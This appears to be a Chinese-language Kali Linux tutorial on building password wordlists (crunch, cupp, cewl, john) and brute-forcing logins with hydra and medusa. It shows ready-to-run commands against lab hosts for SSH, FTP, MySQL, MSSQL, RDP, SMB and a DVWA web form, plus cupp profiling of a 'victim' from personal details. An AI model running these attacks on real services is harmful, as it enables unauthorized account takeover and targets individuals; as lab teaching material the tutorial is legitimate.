大家好,我是SuieKa。
本次主要稍微详细分析一下字典的生成和在线密码破解工具hydra和medusa及使用案例,希望对大家学习上有帮助!
密码常见破解方法:
人工猜测(信息收集)
垃圾桶工程
被动信息收集
基于字典暴力破解(键盘字符集组合)
最传统的方法就是猜,但是有时候密码过于难猜,在有效的办法中,我们最好采用字典暴力破解,怎么暴力?如何暴力?怎么破解密码?现在我们就来详细说说字典暴力破解方法。
我使用的kali linux版本
root@wangzhike:~# uname -srv
Linux 5.5.0-kali2-amd64 #1 SMP Debian 5.5.17-1kali1 (2020-04-21)
kali自带字典
Kali 系统自带字典目录wordlists
/usr/share/wordlists
root@wangzhike:/usr/share/wordlists# ls
dirb dirbuster fasttrack.txt fern-wifi metasploit nmap.lst rockyou.txt.gz wfuzz
dirb目录:
root@wangzhike:/usr/share/wordlists/dirb# ls
big.txt #较大的字典
small.txt #较小的字典
euskera.txt #数据目录字典
mutations_common.txt #备份扩展名
spanish.txt #方法名或库文件
catala.txt #项目配置字典
extensions_common.txt #常用文件扩展名字典
others #其他,扩展目录,默认用户名等
stress #压力测试
common.txt #公共字典
indexes.txt #常用首页字典
vulns #漏洞测试
dirbuster目录:
root@wangzhike:/usr/share/wordlists/dirbuster# ls
apache-user-enum-1.0.txt
apache-user-enum-2.0.txt #apache用户枚举
directories.jbrofuzz #目录枚举
directory-list-1.0.txt
directory-list-2.3-small.txt
directory-list-2.3-medium.txt
directory-list-lowercase-2.3-medium.txt
directory-list-lowercase-2.3-small.txt #目录列表
fasttrack.txt #快速字典文本
常见密码组合,比如password
fern-wifi目录:
root@wangzhike:/usr/share/wordlists/fern-wifi# ls
common.txt #公共wifi账户密码文本字典
metasploit目录:
这个目录里的字典就有很多了,各种字典都有。
比如:
默认用户密码字典、路由器用户密码字典、http默认用户密码字典、综合项目管理用户及密码、恶意网站密码、oracle默认密码
nmap.lst #里面也是集结了各种密码
rockyou.txt.gz #一个51M的字典包(命中率高的字典文件)
wfuzz目录:
其他字典、比如网络服务、一般字典等。
root@wangzhike:/usr/share/wordlists/wfuzz# ls
general Injections others stress vulns webservices
用法:crunch <min-len> <max-len> [<charset string>] [options]
– 默认是小写字符
crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100
-b 按大小分割字典文件(kb/kib、 mb/mib、 gb/gib)
-c 每个字典行数,也即包含密码的个数
##以上两个参数必须与-o START结合使用
-d 同意字符连贯出现的数量(11/aaa)
-e 字符串,定义停止生成密码,比如-e 222222:到222222停止生成密码
-f /path/to/charset.lstcharset-name,从charset.lst指定字符集,也即调用密码库文件
-i 改变出格式
-o wordlist.txt,指定输出文件的名称
-q filename.txt,读取filename.txt
-s startblock,指定一个开始的字符
-t @,%^,指定字典组成规则
-u 必须是最后一个选项,禁止打印百分比
-z gzip, bzip2, lzma, and 7z,从-o选项压缩输出结果,支持gzip,bzip2, lzma, and 7z格式,gzip是最快压缩率最低,bzip2是稍微慢于gzip,但比其压缩率搞,7z最慢,但压缩率最高。
创建精准、小的字典
root@wangzhike:/Dictionaries# crunch 6 6 0123456789 -o START -d 2
#同一个字符出现次数-2
root@wangzhike:/Dictionaries# ls
001001-998998.txt
root@wangzhike:/Dictionaries# crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100
#生成6个字典,1M一个
root@wangzhike:/Dictionaries# ls
001001-148808.txt 148809-296626.txt 445536-593363.txt 741273-890090.txt
001001-998998.txt 296627-445535.txt 593364-741272.txt 890091-998998.txt
字典组成规则
root@wangzhike:/Dictionaries# crunch 6 6 -t @,%%^^ | more
@ 小写字母 lalpha
, 大写字母 ualpha
% 数字 numeric
^ 符号 symbols
生成pass01-pass99所有数字组合
crunch 6 6 -t pass%%>>npassword.txt
生成六位小写字母密码,其中前四位为pass
crunch 6 6 -t pass@@>>npassword.txt
生成六位密码,其中前四位为pass,后二位为特殊字符
crunch 6 6 -t pass^^>>npassword.txt
8位数数字字典
crunch 8 8 charset.lst numeric -o num8.dic
6位数数字字典
crunch 6 60123456789 –o num6.dic
制作139开头的手机密码字典
crunch 11 11+0123456789 -t 139%%%%%%%% -o num13.dic
在线使用生成的密码(组合使用。即生成破解,不保存字典)
crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w -
#生成一个、破解一个,不存硬盘、速度慢
需要了解密码的规则,提高生成字典的精确性
按个人信息生成其专属密码字典:cupp
根据个人信息生成密码组合,适合破解个人邮箱账号、社交媒体账号,服务器端密码破解不太适合
需要python解释器
root@wangzhike:/Dictionaries# python3 -V
Python 3.8.2
git CUPP工具
root@wangzhike:/Dictionaries# apt-get install git
root@wangzhike:/Dictionaries# git clone https://github.com/Mebus/cupp.git
root@wangzhike:/Dictionaries# ls
cupp
使用方法:python3 cupp.py -选项
-h 显示帮助信息
-i 已交互的方式制作用户密码字典文件
-w 使用此选项配置现有字典
-l 从仓库下载大型字典文件
-a 直接从alecto DB解析默认用户名和密码
-v 显示版本信息
生成自定义字典
交互生成:python3 cupp.py -i
root@wangzhike:/Dictionaries/cupp# python3 cupp.py -i
___________
cupp.py! # Common
\ # User
\ ,__, # Passwords
\ (oo)____ # Profiler
(__) )\
||--|| * [ Muris Kurgas | [email protected] ]
[ Mebus | https://github.com/Mebus/]
[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)
> First Name: xxx #字典名
> Surname: xxx #姓氏
> Nickname: xxx #昵称
> Birthdate (DDMMYYYY): 12041996 #出生日期
> Partners) name: xxx #合伙人名字
> Partners) nickname: xxx #昵称
> Partners) birthdate (DDMMYYYY): 23081993 #出生日期
> Child's name: xxx #孩子名字
> Child's nickname: xxx #昵称
> Child's birthdate (DDMMYYYY): 27102000 #出生日期
> Pet's name: tom #宠物名字
> Company name: jieli #公司名字
> Do you want to add some key words about the victim? Y/[N]: n
#你想添加一些关于受害者的关键词吗?
> Do you want to add special chars at the end of words? Y/[N]: n
#你想在单词的末尾加上特殊的字符吗?
> Do you want to add some random numbers at the end of words? Y/[N]:y
#你想在单词的末尾加一些随机数吗?
> Leet mode? (i.e. leet = 1337) Y/[N]: n
#Leet模式?(即leet=1337)
[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to xin.txt, counting 14213 words.
[+] Now load your pistolero with xin.txt and shoot! Good luck!
cewl(其他参数见cewl --help)
-m:最小单词长度
-d:爬网深度(首页远远不够,几层页面均收集)
-e:收集包含email地址信息
-c:每个单词出现次数
-w:保存文件
支持基本、摘要 身份认证
支持代理
cewl 1.1.1.1(IP或域名) -m 3 -d 3 -e -c -v -w baidu.txt
使用 John the Ripper 配置文件实现密码动态变型:(简称: jtr、 john)
配置文件:/etc/john/john.conf
里面有大量的规则可使用
默认规则为:
john --wordlist=cewl.txt --rules --stdout > wang.txt #输出到文件
–wordlist=cewl.txt #使用密码字典
–rules #使用默认规则,需其他规则,在john,conf配置后,使用 --rules=规则名
–stdout #会话的打印状态
root@wangzhike:/Dictionaries# ls
baidu.txt cupp xin.txt
root@wangzhike:/Dictionaries# john --wordlist=xin.txt --rules --stdout > wan.txt
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
50571p 0:00:00:00 100.00% (2020-06-11 04:26) 180610p/s Xinxiaowangging
root@wangzhike:/Dictionaries# ls
baidu.txt cupp wan.txt xin.txt
root@wangzhike:/Dictionaries# more wan.txt
000000
0000010
000002000
0000027
000007
000010
00002000
000027
000100
0001000
000102000
自定义规则:修改john配置文件添加规则或者修改规则使用
root@wangzhike:/Dictionaries# vi /etc/john/john.conf
直接使用即可
john --wordlist=xin.txt --rules=Wordlist --stdout > wang.txt
筛选字典内容
-i 输入文件 -o 输出文件 -m 有效密码的最小长度 -M 有效密码的最大长度 -l 小写字母 -u 大学字母 -p 可打印的字符 -s 特殊字符 -n 数字
pw-inspector -i /usr/share/wordlists/nmap.lst -o p.lst -l
pw-inspector -i /usr/share/wordlists/nmap.lst -o pp.lst -u
在线密码破解: hydra(人称九头蛇) 在线的服务,kali中自带神器,使用字典尝试密码,一个个测试,破解暴力, 有时候破解容易失败。
hydra是黑客组织thc的一款开源密码攻击工具,功能十分强大,支持多种协议的破解,在KALI的终端中执行hydra -h可以看到详细介绍。
常用参数
Options:
-R 继续从上一次进度接着破解
-I 忽略已破解的文件进行破解
-S 采用SSL链接
-s PORT 指定非默认服务端口
-l LOGIN 指定用户名破解
-L FILE 指定用户名字典
-p PASS 指定密码破解
-P FILE 指定密码字典
-y 爆破中不使用符号
-e nsr "n"尝试空密码, "s"尝试指定密码,"r"反向登录
-C FILE 使用冒号分割格式,例如"登录名:密码"来代替-L/-P参数
-M FILE 每行一条攻击的服务器列表, ':'指定端口
-o FILE 指定结果输出文件
-b FORMAT 为-o FILE输出文件指定输出格式:text(默认), json, jsonv1
-f / -F 找到登录名和密码时停止破解
-t TASKS 设置运行的线程数,默认是16
-w / -W TIME 设置最大超时的时间,单位秒,默认是30s
-c TIME 每次破解等待所有线程的时间
-4 / -6 使用IPv4(默认)或IPv6
-v / -V 显示详细过程
-q 不打印连接失败的信息
-U 服务模块详细使用方法
-h 更多命令行参数介绍
server 目标DNS、IP地址或一个网段
service 要破解的服务名
OPT 一些服务模块的可选参数
支持的协议: adam6500、asterisk、cisco、cisco-enable、cvs、firebird、ftp、ftps、http[s]-{head|get|post}、http[s]-{get|post}-form、http-proxy、http-proxy-urlenum、icq、imap[s]、irc、ldap2[s]、ldap3[-{cram|digest}md5][s]、mssql、mysql、nntp、oracle-listener、oracle-sid、pcanywhere、pcnfs、pop3[s]、postgres、radmin2、rdp、redis、rexec、rlogin、rpcap、rsh、rtsp、s7-300、sip、smb、smtp[s]、smtp-enum、snmp、socks5、ssh、sshkey、svn、teamspeak、telnet[s]、vmauthd、vnc、xmpp
kali linuxIP地址:192.168.1.106
靶机(linux系统):192.168.1.107
root@wangzhike:~# hydra -l root -P password.txt 192.168.1.107 mysql
#-P /usr/share/wordlists/dirb/small.txt #可使用自带小字典(路径)
靶机(linux):192.168.1.107
扫描靶机2121端口和服务,判断是否有ftp服务
root@wangzhike:~# nmap -p2121 -sV 192.168.1.107
root@wangzhike:~# hydra -L user.txt -p password.txt ftp://192.168.1.107 -s 21 -e nsr -o ftp.txt -t 16
#-L user.txt #用户字典
#-p password.txt #密码字典
#-o ftp.txt #输出到文本
靶机(linux):192.168.1.107
本靶机自带http服务可登录界面
post方式提交,破解DVWA登录用户及密码
root@wangzhike:~# hydra -l admin -P password.txt 192.168.1.107 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Lin:S=index.php" -V
get方式提交,破解web登录用户及密码
root@wangzhike:~# hydra -l admin -p password.txt -t 2 -vV -e ns 192.168.1.107 http-get /phpMyAdmin/
靶机(linux):192.168.1.107
root@wangzhike:~# hydra -l msfadmin -p password.txt -t 2 -vV -e ns 192.168.1.107 ssh
靶机(本机装装有mssqlserver 2008):192.168.1.105
本机的mssqlserver数据库开启1433端口,并设置登录名sa及密码为wangzhike@123
本机关闭防火墙,并使用sa登录mssql
root@wangzhike:~# hydra -l sa -P password.txt 192.168.1.105 mssql -vV
靶机(windows10_x64):192.168.1.108
root@wangzhike:~# hydra -l wangzhike -P password.txt rdp://192.168.1.108 -t 1 -Vv
靶机(linux):192.168.1.107
root@wangzhike:~# hydra -l msfadmin -P password.txt smb://192.168.1.107 -vV
hydra的缺点:
稳定性差,程序时常崩溃
速度控制不好,容易触发服务屏蔽或锁死机制
每主机新建进程, 每服务新建实例
大量目标破解时性能差
medusa:(美杜莎)
medusa 的特点
稳定性好
速度控制得当
基于线程
支持模块少于hydra(不支持RDP)
WEB-Form支持存在缺陷
参数
-h [TEXT] 目标主机名称或者IP地址
-H [FILE] 包含目标主机名称或者IP地址文件
-u [TEXT] 测试的用户名
-U [FILE] 包含测试的用户名文件
-p [TEXT] 测试的密码
-P [FILE] 包含测试的密码文件
-C [FILE] 组合条目文件
-O [FILE] 日志信息文件
-e [n/s/ns] n代表空密码,s代表为密码与用户名相同
-M [TEXT] 模块执行名称
-m [TEXT] 传递参数到模块
-d 显示所有的模块名称
-n [NUM] 使用非默认Tcp端口
-s 启用SSL
-r [NUM] 重试间隔时间,默认为3秒
-t [NUM] 设定线程数量
-T 同时测试的主机总数
-L 并行化,每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后,停止破解
-F 在任何主机上找到第一个有效的用户名/密码后停止审计。
-q 显示模块的使用信息
-v [NUM] 详细级别(0-6)
-w [NUM] 错误调试级别(0-10)
-V 显示版本
-Z [TEXT] 继续扫描上一次
随便说几个案例,大都是一个套路
靶机(linux):192.168.1.107
root@wangzhike:~# medusa -M ftp -h 192.168.1.107 -e ns -F -u ftp -P password.txt
靶机(linux):192.168.1.107
root@wangzhike:~# medusa -M mysql -h 192.168.1.107 -e ns -F -u root -P password.txt
靶机(本机kali):192.168.1.106
root@wangzhike:~# medusa -M ssh -h 192.168.1.106 -e ns -F -u root -P password.txt
本机同上,mssql登录sa,关闭防火墙
root@wangzhike:~# medusa -M mssql -h 192.168.1.105 -e ns -F -u sa -P password.txt